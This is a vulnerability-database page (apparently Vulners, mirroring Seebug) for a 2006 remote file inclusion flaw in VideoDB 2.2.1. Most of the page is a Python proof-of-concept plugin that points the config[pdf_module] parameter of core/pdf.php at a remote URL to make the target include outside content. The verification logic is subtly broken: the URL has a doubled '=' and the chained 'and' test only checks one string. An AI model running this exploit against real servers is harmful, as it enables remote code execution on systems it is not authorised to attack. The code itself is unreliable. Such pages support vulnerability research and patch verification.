Lucene search
K

VideoDB <= 2.2.1 (pdf.php) Remote File Include Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 14 Views

VideoDB <= 2.2.1 (pdf.php) Remote File Include Exploit. Remote file inclusion vulnerability in VideoDB version 2.2.1 allows remote attackers to execute arbitrary PHP code via the config[pdf_module] parameter in core/pdf.php

Code

                                                #!/usr/bin/env python
# -*- coding: utf-8 -*-
#漏洞程序下载:http://sourceforge.net/projects/videodb/files/videodb/2.2.1/videodb-2_2_1.tgz/download

import re
from lib.request.basic import req as requests
from lib.core.poc import Output, POCBase
from lib.core.register import registerPoc as register

class VideodbPdfRFIPOC(POCBase):
    vulID = 'SSV-64039'  # vul ID
    version = '1'
    author = 'huakai'
    vulDate = '2006-09-29'
    createDate = '2015-10-09'
    updateDate = '2015-10-09'
    references = ['https://www.exploit-db.com/exploits/2455/']
    name = 'VideoDB <= 2.2.1 (pdf.php) Remote File Include Exploit'
    appPowerLink = 'http://sourceforge.net/projects/videodb'
    appName = 'VideoDB'
    appVersion = '<= 2.2.1'
    vulType = 'Remote File Inclusion'
    desc = u'''
    http://[host]/core/pdf.php?config[pdf_module]=[remote]
    '''

    samples = ['']

    def _verify(self):
        verify_url = self.url + "/core/pdf.php?config[pdf_module]==https://www.baidu.com/robots.txt?"
        response = requests.get(verify_url)
        return self.parse_verify(response,verify_url)

    def _attack(self):
        return self._verify()

    def parse_verify(self,response,url):
        output = Output(self)
        result = {}

        if "Baiduspider" and "Googlebot" and "Disallow: /baidu" in response.text:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = url
            output.success(result)
        else:
            output.fail('Internet Nothing returned')
        return output

register(VideodbPdfRFIPOC)

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation